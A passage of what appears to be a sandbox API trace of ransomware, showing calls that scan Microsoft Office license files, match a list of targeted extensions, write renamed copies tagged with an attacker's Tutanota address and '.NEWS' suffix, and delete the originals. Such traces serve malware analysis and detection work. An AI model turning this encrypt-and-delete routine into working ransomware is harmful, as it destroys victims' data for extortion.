Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0189.067] lstrlenW (lpString=".jpg") returned 4 [0189.067] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0189.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0189.067] lstrlenW (lpString=".doc") returned 4 [0189.067] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.067] lstrlenW (lpString=".docx") returned 5 [0189.067] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.067] lstrlenW (lpString=".pdf") returned 4 [0189.067] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.067] lstrlenW (lpString=".xls") returned 4 [0189.067] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.067] lstrlenW (lpString=".xlsx") returned 5 [0189.067] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.067] lstrlenW (lpString=".ppt") returned 4 [0189.067] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0189.067] lstrlenW (lpString=".zip") returned 4 [0189.067] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.067] lstrlenW (lpString=".rar") returned 4 [0189.067] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.067] lstrlenW (lpString=".bz2") returned 4 [0189.067] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.067] lstrlenW (lpString=".7z") returned 3 [0189.067] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0189.067] lstrlenW (lpString=".dbf") returned 4 [0189.067] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0189.067] lstrlenW (lpString=".1cd") returned 4 [0189.067] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0189.067] lstrlenW (lpString=".jpg") returned 4 [0189.067] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.068] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0189.068] lstrlenW (lpString="MondoR_KMS_Automation-ppd.xrm-ms") returned 32 [0189.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0189.068] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=12416) returned 1 [0189.068] CloseHandle (hObject=0x404) returned 1 [0189.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms")) returned 0x220 [0189.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0189.069] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.069] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0189.070] GetLastError () returned 0x0 [0189.070] ReadFile (in: hFile=0x404, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x3080, lpOverlapped=0x0) returned 1 [0189.072] WriteFile (in: hFile=0x56c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x3090, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x3090, lpOverlapped=0x0) returned 1 [0189.073] ReadFile (in: hFile=0x404, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.073] WriteFile (in: hFile=0x56c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x114, lpOverlapped=0x0) returned 1 [0189.073] SetEndOfFile (hFile=0x56c) returned 1 [0189.073] CloseHandle (hObject=0x56c) returned 1 [0189.073] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.074] SetEndOfFile (hFile=0x404) returned 1 [0189.076] CloseHandle (hObject=0x404) returned 1 [0189.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.077] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms")) returned 1 [0189.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0189.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0189.078] lstrlenW (lpString=".doc") returned 4 [0189.078] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.078] lstrlenW (lpString=".docx") returned 5 [0189.078] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.078] lstrlenW (lpString=".pdf") returned 4 [0189.078] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.078] lstrlenW (lpString=".xls") returned 4 [0189.078] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.078] lstrlenW (lpString=".xlsx") returned 5 [0189.078] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.078] lstrlenW (lpString=".ppt") returned 4 [0189.078] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0189.078] lstrlenW (lpString=".zip") returned 4 [0189.078] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.078] lstrlenW (lpString=".rar") returned 4 [0189.078] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.078] lstrlenW (lpString=".bz2") returned 4 [0189.078] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.078] lstrlenW (lpString=".7z") returned 3 [0189.078] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0189.078] lstrlenW (lpString=".dbf") returned 4 [0189.078] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0189.078] lstrlenW (lpString=".1cd") returned 4 [0189.078] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0189.078] lstrlenW (lpString=".jpg") returned 4 [0189.078] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0189.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0189.078] lstrlenW (lpString=".doc") returned 4 [0189.078] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.078] lstrlenW (lpString=".docx") returned 5 [0189.079] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.079] lstrlenW (lpString=".pdf") returned 4 [0189.079] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.079] lstrlenW (lpString=".xls") returned 4 [0189.079] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.079] lstrlenW (lpString=".xlsx") returned 5 [0189.079] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.079] lstrlenW (lpString=".ppt") returned 4 [0189.079] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0189.079] lstrlenW (lpString=".zip") returned 4 [0189.079] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.079] lstrlenW (lpString=".rar") returned 4 [0189.079] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.079] lstrlenW (lpString=".bz2") returned 4 [0189.079] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.079] lstrlenW (lpString=".7z") returned 3 [0189.079] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0189.079] lstrlenW (lpString=".dbf") returned 4 [0189.079] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0189.079] lstrlenW (lpString=".1cd") returned 4 [0189.079] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0189.079] lstrlenW (lpString=".jpg") returned 4 [0189.079] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.079] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0189.080] lstrlenW (lpString="MondoR_KMS_Automation-ul-oob.xrm-ms") returned 35 [0189.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0189.080] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=11621) returned 1 [0189.080] CloseHandle (hObject=0x404) returned 1 [0189.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms")) returned 0x220 [0189.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0189.081] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.081] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0189.082] GetLastError () returned 0x0 [0189.082] ReadFile (in: hFile=0x404, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x2d65, lpOverlapped=0x0) returned 1 [0189.416] WriteFile (in: hFile=0x56c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0189.418] ReadFile (in: hFile=0x404, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.418] WriteFile (in: hFile=0x56c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x11a, lpOverlapped=0x0) returned 1 [0189.418] SetEndOfFile (hFile=0x56c) returned 1 [0189.418] CloseHandle (hObject=0x56c) returned 1 [0189.418] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.418] SetEndOfFile (hFile=0x404) returned 1 [0189.422] CloseHandle (hObject=0x404) returned 1 [0189.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.422] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms")) returned 1 [0189.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0189.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0189.424] lstrlenW (lpString=".doc") returned 4 [0189.424] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.424] lstrlenW (lpString=".docx") returned 5 [0189.424] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.424] lstrlenW (lpString=".pdf") returned 4 [0189.424] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.424] lstrlenW (lpString=".xls") returned 4 [0189.424] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.424] lstrlenW (lpString=".xlsx") returned 5 [0189.424] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.424] lstrlenW (lpString=".ppt") returned 4 [0189.424] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0189.424] lstrlenW (lpString=".zip") returned 4 [0189.424] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.424] lstrlenW (lpString=".rar") returned 4 [0189.424] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.424] lstrlenW (lpString=".bz2") returned 4 [0189.424] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.424] lstrlenW (lpString=".7z") returned 3 [0189.424] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0189.424] lstrlenW (lpString=".dbf") returned 4 [0189.425] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0189.425] lstrlenW (lpString=".1cd") returned 4 [0189.425] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0189.425] lstrlenW (lpString=".jpg") returned 4 [0189.425] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0189.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0189.425] lstrlenW (lpString=".doc") returned 4 [0189.425] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.425] lstrlenW (lpString=".docx") returned 5 [0189.425] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.425] lstrlenW (lpString=".pdf") returned 4 [0189.425] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.425] lstrlenW (lpString=".xls") returned 4 [0189.425] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.425] lstrlenW (lpString=".xlsx") returned 5 [0189.425] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.425] lstrlenW (lpString=".ppt") returned 4 [0189.425] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0189.425] lstrlenW (lpString=".zip") returned 4 [0189.425] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.426] lstrlenW (lpString=".rar") returned 4 [0189.426] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.426] lstrlenW (lpString=".bz2") returned 4 [0189.426] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.426] lstrlenW (lpString=".7z") returned 3 [0189.426] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0189.426] lstrlenW (lpString=".dbf") returned 4 [0189.426] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0189.426] lstrlenW (lpString=".1cd") returned 4 [0189.426] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0189.426] lstrlenW (lpString=".jpg") returned 4 [0189.426] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.426] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0189.426] lstrlenW (lpString="MondoR_Retail-ul-phn.xrm-ms") returned 27 [0189.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0189.427] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=19919) returned 1 [0189.427] CloseHandle (hObject=0x404) returned 1 [0189.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms")) returned 0x220 [0189.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0189.428] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.428] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0189.429] GetLastError () returned 0x0 [0189.429] ReadFile (in: hFile=0x404, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x4dcf, lpOverlapped=0x0) returned 1 [0189.431] WriteFile (in: hFile=0x56c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x4dd0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x4dd0, lpOverlapped=0x0) returned 1 [0189.432] ReadFile (in: hFile=0x404, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.432] WriteFile (in: hFile=0x56c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x10a, lpOverlapped=0x0) returned 1 [0189.432] SetEndOfFile (hFile=0x56c) returned 1 [0189.432] CloseHandle (hObject=0x56c) returned 1 [0189.433] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.433] SetEndOfFile (hFile=0x404) returned 1 [0189.435] CloseHandle (hObject=0x404) returned 1 [0189.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.440] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms")) returned 1 [0189.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0189.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0189.441] lstrlenW (lpString=".doc") returned 4 [0189.441] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.441] lstrlenW (lpString=".docx") returned 5 [0189.441] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.441] lstrlenW (lpString=".pdf") returned 4 [0189.441] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.441] lstrlenW (lpString=".xls") returned 4 [0189.441] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.441] lstrlenW (lpString=".xlsx") returned 5 [0189.441] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.441] lstrlenW (lpString=".ppt") returned 4 [0189.441] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0189.441] lstrlenW (lpString=".zip") returned 4 [0189.442] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.442] lstrlenW (lpString=".rar") returned 4 [0189.442] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.442] lstrlenW (lpString=".bz2") returned 4 [0189.442] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.442] lstrlenW (lpString=".7z") returned 3 [0189.442] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.442] lstrlenW (lpString="C:\\Program Files\\Microsoft 